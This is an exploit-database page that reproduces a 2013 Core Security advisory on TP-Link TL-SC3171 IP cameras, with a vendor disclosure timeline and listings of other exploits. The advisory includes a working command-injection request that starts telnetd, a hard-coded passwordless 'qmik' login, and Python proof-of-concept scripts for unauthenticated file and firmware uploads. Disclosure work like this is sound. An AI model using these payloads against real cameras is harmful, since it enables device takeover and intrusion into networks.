Menu

Search for hundreds of thousands of exploits

"TP-Link TL-SC3171 IP Cameras - Multiple Vulnerabilities"

Author

Exploit author

"Core Security"

Platform

Exploit platform

hardware

Release date

Exploit published date

2013-08-02

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
Core Security - Corelabs Advisory
http://corelabs.coresecurity.com/

Multiple Vulnerabilities in TP-Link TL-SC3171 IP Cameras


1. *Advisory Information*

Title: Multiple Vulnerabilities in TP-Link TL-SC3171 IP Cameras
Advisory ID: CORE-2013-0618
Advisory URL:
http://www.coresecurity.com/advisories/multiple-vulnerabilities-tp-link-tl-sc3171-ip-cameras
Date published: 2013-07-30
Date of last update: 2013-07-30
Vendors contacted: TP-Link
Release mode: Coordinated release


2. *Vulnerability Information*

Class: OS command injection [CWE-78], Use of hard-coded credentials
[CWE-798], Authentication Bypass Issues [CWE-592], Missing
Authentication for Critical Function [CWE-306]
Impact: Code execution, Security bypass
Remotely Exploitable: Yes
Locally Exploitable: No
CVE Name: CVE-2013-2578, CVE-2013-2579, CVE-2013-2580, CVE-2013-2581


3. *Vulnerability Description*

Multiple vulnerabilities have been found in TP-Link TL-SC3171 [1] IP
camera running firmware version LM.1.6.18P12_sign5 that could allow an
attacker:

   1. [CVE-2013-2578] to execute arbitrary commands through the file
'/cgi-bin/admin/servetest'.
   2. [CVE-2013-2579] to execute arbitrary commands in a shell using
hard-coded credentials.
   3. [CVE-2013-2580] to perform unauthenticated remote file uploads.
   5. [CVE-2013-2581] to perform unauthenticated remote firmware upgrades.

3.1. *Attack Paths*

There are several attack paths that can be exploited by combining these
vulnerabilities with other ones discovered by Eliezer Varade Lopez,
Javier Repiso Sanchez and Jonas Ropero Castillo [2]. Additional attack
paths are available, but the ones listed here allow understanding how an
attacker could compromise the affected device.

3.1.1. *Attack Path I*

(Authentication: none)

   1. Upload a rooted firmware exploiting [CVE-2013-2581].
   2. Reboot the device by exploiting 'http://<ip-cam>/cgi-bin/reboot'[2].

3.1.2. *Attack Path II*

(Authentication: bypassed)

   1. Reset the device to its factory defaults exploiting
'http://<ip-cam>/cgi-bin/hardfactorydefault'[2]. After this step, the
authentication can by bypassed by using 'admin:admin' as a valid
'username:password'.
   2. Reboot the device by exploiting 'http://<ip-cam>/cgi-bin/reboot'[2].
   3. Start the Telnet service exploiting [CVE-2013-2578].
   4. Login to the Telnet service using user 'qmik' (no password)
[CVE-2013-2579], and use the device as a pivoting point.

4. *Vulnerable Packages*

Tests and PoC were run on:

   . TP-Link TL-SC3171 IP camera running firmware version
LM.1.6.18P12_sign5.
   . Other TP-Link cameras and firmware versions are probably affected
too, but they were not checked.

5. *Vendor Information, Solutions and Workarounds*

Vendor provides the links to (pre-release) patched firmware versions
[3]. The final official versions will be released in the next few days.
Please, contact TP-Link for further information.

6. *Credits*

These vulnerabilities were discovered by Flavio de Cristofaro and
researched with the help of Andres Blanco from Core Security
Technologies. The publication of this advisory was coordinated by
Fernando Miranda from Core Advisories Team.


7. *Technical Description / Proof of Concept Code*

7.1. *OS Command Injection in servetest*

[CVE-2013-2578] The file '/cgi-bin/admin/servetest' has an OS command
injection in several of its parameters that can be exploited by an
authenticated user to execute arbitrary commands. The following proof of
concept starts the telnetd service:

/-----
GET
/cgi-bin/admin/servetest?cmd=smtp&ServerName=1.1.1.1;/usr/sbin/telnetd;&ServerPort=25&ServerSSL=off&RcptToAddr1=q@q&AdminAddr=q@q
HTTP/1.1
Accept: */*
Accept-Language: en-us
Referer: http://192.168.1.100/progress.htm
If-Modified-Since: Sat, 1 Jan 2000 00:00:00 GMT
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64;
Trident/5.0)
Host: 192.168.1.100
Proxy-Connection: Keep-Alive
Cookie: VideoFmt=1
Authorization: Basic YWRtaW46YWRtaW4=
Content-Length: 2
-----/

7.2. *Hard-coded credentials in telnet service*

[CVE-2013-2579] The affected system includes a hard-coded login with no
password which could be used by a remote attacker to access the OS of
the affected device using the built-in telnet service:

/-----
username: qmik
password: (none)      
-----/

The 'qmik' user is allowed to execute the command 'su', allowing the
user to execute arbitrary commands with root level privileges. The
telnet service can be enabled through [CVE-2013-2578].


7.3. *Unauthenticated remote file uploads*

[CVE-2013-2580] The file '/cgi-bin/uploadfile' allows an unauthenticated
user to perform remote file uploads as shown in the following Python PoC:


/-----
import requests

fileName = "lala.tmp"
f = open(fileName, "w")
f.write("lala")
f.close()
requests.post("http://192.168.1.100/cgi-bin/uploadfile",
files={fileName: open(fileName, "rb")})
-----/

The uploaded file (in this example lala.tmp) will be hosted in the
'/mnt/mtd' directory.


7.4. *Unauthenticated remote firmware upgrades*

[CVE-2013-2581] The file '/cgi-bin/firmwareupgrade' allows an
unauthenticated user to perform remote firmware upgrades as shown in the
following Python POC:


/-----
import requests

requests.get("http://192.168.1.100/cgi-bin/firmwareupgrade?action=preset")
fileName = "COM_T01F001_LM.1.6.18P12_sign5_TPL.TL-SC3171.bin"
cookies={"VideoFmt":"1"}
requests.post("http://192.168.1.100/cgi-bin/firmwareupgrade?action=preset",
files={"SetFWFileName" : (fileName, open(fileName, "rb"))}, cookies=cookies)
-----/


8. *Report Timeline*

. 2013-06-12:
Core Security Technologies notifies the TP-Link team of the vulnerability.

. 2013-06-18:
Core Security Technologies notifies the TP-Link team of the
vulnerability and set the estimated publication date of the advisory for
July 10, 2013.

. 2013-06-19:
TP-Link answers saying that these vulnerabilities are the same as the
ones published on May 28, 2013.

. 2013-06-26:
Core Security Technologies notifies the TP-Link team that these are new,
different, vulnerabilities and sends a draft report with technical
information.

. 2013-06-26:
Vendor acknowledges the receipt of the technical report.

. 2013-07-01:
Vendor requests additional technical information.

. 2013-07-04:
Core re-sends an improved technical report with additional information
regarding possible attack paths [Sec. 3.1].

. 2013-07-10:
First release date missed.

. 2013-07-15:
Core asks for a status update.

. 2013-07-22:
Vendor notifies that a patched firmware version will be released on July
29th.

. 2013-07-22:
Core re-schedules the advisory publication for July 29th.

. 2013-07-26:
Vendor notifies that a (pre-release) patched firmware version is
available [3] and being tested. The final firmware version will be
released in the next few days.

. 2013-07-30:
Advisory CORE-2013-0618 is published.


9. *References*

[1] TP-Link TL-SC3171,
http://www.tp-link.com/en/products/details/?categoryid=230&model=TL-SC3171.
[2] Security Analysis of IP video surveillance cameras,
http://seclists.org/fulldisclosure/2013/Jun/84.
[3] See the online version,
http://www.coresecurity.com/advisories/multiple-vulnerabilities-tp-link-tl-sc3171-ip-cameras.


10. *About CoreLabs*

CoreLabs, the research center of Core Security Technologies, is charged
with anticipating the future needs and requirements for information
security technologies. We conduct our research in several important
areas of computer security including system vulnerabilities, cyber
attack planning and simulation, source code auditing, and cryptography.
Our results include problem formalization, identification of
vulnerabilities, novel solutions and prototypes for new technologies.
CoreLabs regularly publishes security advisories, technical papers,
project information and shared software tools for public use at:
http://corelabs.coresecurity.com.


11. *About Core Security Technologies*

Core Security Technologies enables organizations to get ahead of threats
with security test and measurement solutions that continuously identify
and demonstrate real-world exposures to their most critical assets. Our
customers can gain real visibility into their security standing, real
validation of their security controls, and real metrics to more
effectively secure their organizations.

Core Security's software solutions build on over a decade of trusted
research and leading-edge threat expertise from the company's Security
Consulting Services, CoreLabs and Engineering groups. Core Security
Technologies can be reached at +1 (617) 399-6980 or on the Web at:
http://www.coresecurity.com.


12. *Disclaimer*

The contents of this advisory are copyright (c) 2013 Core Security
Technologies and (c) 2013 CoreLabs, and are licensed under a Creative
Commons Attribution Non-Commercial Share-Alike 3.0 (United States)
License: http://creativecommons.org/licenses/by-nc-sa/3.0/us/


13. *PGP/GPG Keys*

This advisory has been signed with the GPG key of Core Security
Technologies advisories team, which is available for download at
http://www.coresecurity.com/files/attachments/core_security_advisories.asc.
Release Date Title Type Platform Author
2020-12-02 "aSc TimeTables 2021.6.2 - Denial of Service (PoC)" local windows "Ismael Nava"
2020-12-02 "Anuko Time Tracker 1.19.23.5311 - No rate Limit on Password Reset functionality" webapps php "Mufaddal Masalawala"
2020-12-02 "Ksix Zigbee Devices - Playback Protection Bypass (PoC)" remote multiple "Alejandro Vazquez Vazquez"
2020-12-02 "Mitel mitel-cs018 - Call Data Information Disclosure" remote linux "Andrea Intilangelo"
2020-12-02 "DotCMS 20.11 - Stored Cross-Site Scripting" webapps multiple "Hardik Solanki"
2020-12-02 "Artworks Gallery 1.0 - Arbitrary File Upload RCE (Authenticated) via Edit Profile" webapps multiple "Shahrukh Iqbal Mirza"
2020-12-02 "ChurchCRM 4.2.0 - CSV/Formula Injection" webapps multiple "Mufaddal Masalawala"
2020-12-02 "ChurchCRM 4.2.1 - Persistent Cross Site Scripting (XSS)" webapps multiple "Mufaddal Masalawala"
2020-12-02 "NewsLister - Authenticated Persistent Cross-Site Scripting" webapps multiple "Emre Aslan"
2020-12-02 "IDT PC Audio 1.0.6433.0 - 'STacSV' Unquoted Service Path" local windows "Manuel Alvarez"
Release Date Title Type Platform Author
2020-11-30 "ATX MiniCMTS200a Broadband Gateway 2.0 - Credential Disclosure" webapps hardware "Zagros Bingol"
2020-11-30 "Intelbras Router RF 301K 1.1.2 - Authentication Bypass" webapps hardware "Kaio Amaral"
2020-11-27 "Ruckus IoT Controller (Ruckus vRIoT) 1.5.1.0.21 - Remote Code Execution" webapps hardware "Emre SUREN"
2020-11-24 "Seowon 130-SLC router 1.0.11 - 'ipAddr' RCE (Authenticated)" webapps hardware maj0rmil4d
2020-11-23 "TP-Link TL-WA855RE V5_200415 - Device Reset Auth Bypass" webapps hardware malwrforensics
2020-11-19 "Fortinet FortiOS 6.0.4 - Unauthenticated SSL VPN User Password Modification" webapps hardware "Ricardo Longatto"
2020-11-19 "Genexis Platinum 4410 Router 2.1 - UPnP Credential Exposure" remote hardware "Nitesh Surana"
2020-11-16 "Cisco 7937G - DoS/Privilege Escalation" remote hardware "Cody Martin"
2020-11-13 "ASUS TM-AC1900 - Arbitrary Command Execution (Metasploit)" webapps hardware b1ack0wl
2020-11-13 "Citrix ADC NetScaler - Local File Inclusion (Metasploit)" webapps hardware "RAMELLA Sebastien"
Release Date Title Type Platform Author
2018-10-05 "D-Link Central WiFiManager Software Controller 1.03 - Multiple Vulnerabilities" webapps php "Core Security"
2018-07-27 "SoftNAS Cloud < 4.0.3 - OS Command Injection" webapps php "Core Security"
2018-07-13 "QNAP Qcenter Virtual Appliance - Multiple Vulnerabilities" webapps hardware "Core Security"
2018-02-22 "Trend Micro Email Encryption Gateway 5.5 (Build 1111.00) - Multiple Vulnerabilities" webapps jsp "Core Security"
2018-02-14 "Dell EMC Isilon OneFS - Multiple Vulnerabilities" webapps linux "Core Security"
2017-06-28 "Kaspersky Anti-Virus File Server 8.0.3.297 - Multiple Vulnerabilities" webapps linux "Core Security"
2017-05-10 "SAP SAPCAR 721.510 - Heap Buffer Overflow" dos linux "Core Security"
2016-11-22 "TP-LINK TDDP - Multiple Vulnerabilities" dos hardware "Core Security"
2016-08-10 "SAP SAPCAR - Multiple Vulnerabilities" dos linux "Core Security"
2016-03-16 "FreeBSD 10.2 (x64) - 'amd64_set_ldt' Heap Overflow" dos freebsd_x86-64 "Core Security"
2015-12-09 "Microsoft Windows Media Center - '.Link' File Incorrectly Resolved Reference (MS15-134)" remote windows "Core Security"
2015-07-08 "AirLive (Multiple Products) - OS Command Injection" webapps hardware "Core Security"
2015-07-08 "AirLink101 SkyIPCam1620W - OS Command Injection" webapps hardware "Core Security"
2015-05-26 "Sendio ESP - Information Disclosure" webapps jsp "Core Security"
2015-03-18 "Fortinet Single Sign On - Stack Overflow" dos windows "Core Security"
2015-01-29 "FreeBSD - Multiple Vulnerabilities" dos freebsd "Core Security"
2015-01-26 "Android WiFi-Direct - Denial of Service" dos android "Core Security"
2014-11-24 "Advantech EKI-6340 - Command Injection" webapps cgi "Core Security"
2014-10-17 "SAP NetWeaver Enqueue Server - Denial of Service" dos windows "Core Security"
2014-04-17 "SAP Router - Timing Attack Password Disclosure" remote hardware "Core Security"
2014-03-12 "Oracle VM VirtualBox - 3D Acceleration Multiple Vulnerabilities" dos multiple "Core Security"
2014-02-06 "Publish-It 3.6d - Buffer Overflow" dos windows "Core Security"
2013-12-17 "Microsoft Windows Kernel - 'win32k.sys' Integer Overflow (MS13-101)" dos windows "Core Security"
2013-12-11 "IcoFX 2.5.0.0 - '.ico' Buffer Overflow (PoC)" dos windows "Core Security"
2013-11-08 "Vivotek IP Cameras - RTSP Authentication Bypass" webapps hardware "Core Security"
2013-10-02 "PinApp Mail-SeCure 3.70 - Access Control Failure" local linux "Core Security"
2013-09-09 "Sophos Web Protection Appliance - Multiple Vulnerabilities" webapps linux "Core Security"
2013-08-29 "AVTECH DVR Firmware 1017-1003-1009-1003 - Multiple Vulnerabilities" dos hardware "Core Security"
2013-08-07 "Hikvision IP Cameras 4.1.0 b130111 - Multiple Vulnerabilities" webapps hardware "Core Security"
2013-08-02 "TP-Link TL-SC3171 IP Cameras - Multiple Vulnerabilities" webapps hardware "Core Security"
import requests
response = requests.get('http://127.0.0.1:8181?format=json')

For full documentation follow the link above

Cipherscan. Find out which SSL ciphersuites are supported by a target.

Identify and fingerprint Web Application Firewall (WAF) products protecting a website.